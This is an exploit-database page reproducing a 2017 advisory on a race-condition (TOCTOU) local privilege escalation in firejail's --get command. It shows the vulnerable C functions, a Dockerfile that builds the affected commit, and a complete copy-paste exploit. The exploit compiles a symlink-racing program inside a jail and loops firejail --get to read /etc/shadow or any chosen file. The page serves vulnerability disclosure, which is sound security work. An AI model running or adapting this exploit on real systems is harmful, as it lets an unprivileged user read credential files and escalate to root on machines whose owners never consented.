Lucene search
K

Firejail - Local Privilege Escalation

🗓️ 09 Jan 2017 00:00:00Reported by Daniel HodsonType 
exploitpack
 exploitpack
👁 13 Views

Local Privilege Escalation in Firejail - TOCTOU bug Fixed

Code
# firejail advisory for TOCTOU in --get and --put (local root)

Releasing a brief advisory/writeup about a local root privesc found in firejail that we reported back in Nov, 2016. This is in response to a recent [thread](http://seclists.org/oss-sec/2017/q1/20) on oss-sec where people seem interested in details of firejail security issues. This particular vulnerability was fixed in commit [e152e2d](https://github.com/netblue30/firejail/commit/e152e2d067e17be33c7e82ce438c8ae740af6a66) but no CVE was assigned.

## Vulnerability

This is a TOCTOU (race condition) bug when testing access permissions with access() and then calling copy_file(). At the time of discovery, it was clear the code suffered from many insecure coding constructs like this and much more -- but there was no guideline around making security related bug reports (other than using the public issue tracker).

### Code: src/firejail/ls.c
~~~~
void sandboxfs(int op, pid_t pid, const char *path) {
        EUID_ASSERT();

        // if the pid is that of a firejail  process, use the pid of the first child process
        EUID_ROOT();
        char *comm = pid_proc_comm(pid);
        EUID_USER();
        if (comm) {
                if (strcmp(comm, "firejail") == 0) {
                        pid_t child;
                        if (find_child(pid, &child) == 0) {
                                pid = child;
                        }
                }
                free(comm);
        }

        // check privileges for non-root users
        uid_t uid = getuid();
        if (uid != 0) {
                uid_t sandbox_uid = pid_get_uid(pid);
                if (uid != sandbox_uid) {
                        fprintf(stderr, "Error: permission denied.\n");
                        exit(1);
                }
        }

        // full path or file in current directory?
        char *fname;
        if (*path == '/') {
                fname = strdup(path);
                if (!fname)
                        errExit("strdup");
        }
        else if (*path == '~') {
                if (asprintf(&fname, "%s%s", cfg.homedir, path + 1) == -1)
                        errExit("asprintf");
        }
        else {
                fprintf(stderr, "Error: Cannot access %s\n", path);
                exit(1);
        }

        // sandbox root directory
        char *rootdir;
        if (asprintf(&rootdir, "/proc/%d/root", pid) == -1)
                errExit("asprintf");

        if (op == SANDBOX_FS_LS) {
                EUID_ROOT();
                // chroot
                if (chroot(rootdir) < 0)
                        errExit("chroot");
                if (chdir("/") < 0)
                        errExit("chdir");

                // access chek is performed with the real UID
                if (access(fname, R_OK) == -1) {
                        fprintf(stderr, "Error: Cannot access %s\n", fname);
                        exit(1);
                }

                // list directory contents
                struct stat s;
                if (stat(fname, &s) == -1) {
                        fprintf(stderr, "Error: Cannot access %s\n", fname);
                        exit(1);
                }
                if (S_ISDIR(s.st_mode)) {
                        char *rp = realpath(fname, NULL);
                        if (!rp) {
                                fprintf(stderr, "Error: Cannot access %s\n", fname);
                                exit(1);
                        }
                        if (arg_debug)
                                printf("realpath %s\n", rp);

                        char *dir;
                        if (asprintf(&dir, "%s/", rp) == -1)
                                errExit("asprintf");

                        print_directory(dir);
                        free(rp);
                        free(dir);
                }
                else {
                        char *rp = realpath(fname, NULL);
                        if (!rp) {
                                fprintf(stderr, "Error: Cannot access %s\n", fname);
                                exit(1);
                        }
                        if (arg_debug)
                                printf("realpath %s\n", rp);
                        char *split = strrchr(rp, '/');
                        if (split) {
                                *split = '\0';
                                char *rp2 = split + 1;
                                if (arg_debug)
                                        printf("path %s, file %s\n", rp, rp2);
                                print_file_or_dir(rp, rp2, 1);
                        }
                        free(rp);
                }
        }

        // get file from sandbox and store it in the current directory
        else if (op == SANDBOX_FS_GET) {
                // check source file (sandbox)
                char *src_fname;
                if (asprintf(&src_fname, "%s%s", rootdir, fname) == -1)
                        errExit("asprintf");
                EUID_ROOT();
                struct stat s;
                if (stat(src_fname, &s) == -1) {
                        fprintf(stderr, "Error: Cannot access %s\n", fname);
                        exit(1);
                }


                // try to open the source file - we need to chroot
                pid_t child = fork();
                if (child < 0)
                        errExit("fork");
                if (child == 0) {
                        // chroot
                        if (chroot(rootdir) < 0)
                                errExit("chroot");
                        if (chdir("/") < 0)
                                errExit("chdir");

                        // drop privileges
                        drop_privs(0);

                        // try to read the file
                        if (access(fname, R_OK) == -1) {
                                fprintf(stderr, "Error: Cannot read %s\n", fname);
                                exit(1);
                        }
                        exit(0);
                }

                // wait for the child to finish
                int status = 0;
                waitpid(child, &status, 0);
                if (WIFEXITED(status) && WEXITSTATUS(status) == 0);
                else
                        exit(1);
                EUID_USER();

                // check destination file (host)
                char *dest_fname = strrchr(fname, '/');
                if (!dest_fname || *(++dest_fname) == '\0') {
                        fprintf(stderr, "Error: invalid file name %s\n", fname);
                        exit(1);
                }

                if (access(dest_fname, F_OK) == -1) {
                        // try to create the file
                        FILE *fp = fopen(dest_fname, "w");
                        if (!fp) {
                                fprintf(stderr, "Error: cannot create %s\n", dest_fname);
                                exit(1);
                        }
                        fclose(fp);
                }
                else {
                        if (access(dest_fname, W_OK) == -1) {
                                fprintf(stderr, "Error: cannot write %s\n", dest_fname);
                                exit(1);
                        }
                }
                // copy file
                EUID_ROOT();
                copy_file(src_fname, dest_fname, getuid(), getgid(), 0644);
                printf("Transfer complete\n");
                EUID_USER();
        }

        free(fname);
        free(rootdir);

        exit(0);
}
~~~~



### Code: src/firejail/util.c
~~~~
int copy_file(const char *srcname, const char *destname, uid_t uid, gid_t gid, mode_t mode) {
        assert(srcname);
        assert(destname);

        // open source
        int src = open(srcname, O_RDONLY);
        if (src < 0) {
                fprintf(stderr, "Warning: cannot open %s, file not copied\n", srcname);
                return -1;
        }

        // open destination
        int dst = open(destname, O_CREAT|O_WRONLY|O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
        if (dst < 0) {
                fprintf(stderr, "Warning: cannot open %s, file not copied\n", destname);
                close(src);
                return -1;
        }

        // copy
        ssize_t len;
        static const int BUFLEN = 1024;
        unsigned char buf[BUFLEN];
        while ((len = read(src, buf, BUFLEN)) > 0) {
                int done = 0;
                while (done != len) {
                        int rv = write(dst, buf + done, len - done);
                        if (rv == -1) {
                                close(src);
                                close(dst);
                                return -1;
                        }

                        done += rv;
                }
        }

        if (fchown(dst, uid, gid) == -1)
                errExit("fchown");
        if (fchmod(dst, mode) == -1)
                errExit("fchmod");

        close(src);
        close(dst);
        return 0;
}
</snip>
~~~~

## Testing 

### Our Dockerfile

~~~~
FROM ubuntu:latest

ENV wdir /root/firejail

RUN apt-get update && apt-get install -y git gcc make
RUN useradd -ms /bin/bash daniel && echo "daniel:password" | chpasswd
RUN git clone https://github.com/netblue30/firejail.git ${wdir}
WORKDIR ${wdir}
RUN git reset --hard 81467143ee9c47d9c90e97fb55baf2d47702d372
RUN ./configure && make && make install
~~~~

### Our exploit

This will exploit the --get command to read /etc/shadow and print back to the console. Just copy and paste into your shell:

~~~~
#dropper
cat > gexp.sh <<GUEST_JAIL_SCRIPT_EOF
mkdir -p /tmp/exploit
cat > /tmp/exploit/gaolbreak.c <<TOCTOU_POC_END
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
    char *fl = "/etc/shadow";

    if(argc > 1) {
        fl = argv[1];
    }

    while(1) {
        int fd = open("owned", O_CREAT | O_RDWR, 0777);
        if(fd == -1) {
            perror("open");
            exit(1);
        }
        close(fd);
        remove("owned");
        symlink(fl, "owned");
        remove("owned");
    }
}
TOCTOU_POC_END
cd /tmp/exploit
gcc ./gaolbreak.c -o gaolbreak
# XXX: change argv[1] to whatever you want
./gaolbreak /etc/shadow
GUEST_JAIL_SCRIPT_EOF

# run the dropper (symlink attack) in a jail
chmod +x ./gexp.sh
firejail --noprofile --force --name=el ./gexp.sh &

# win race using the vulnerable 'firejail --get' command.
mkdir exploitel
cd exploitel
while [ 1 ] ; do nice -n 19 firejail --get=$(pgrep -f '^firejail.*--name=el' -n) /tmp/exploit/owned >/dev/null 2>&1; cat owned 2>/dev/null; done
~~~~

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation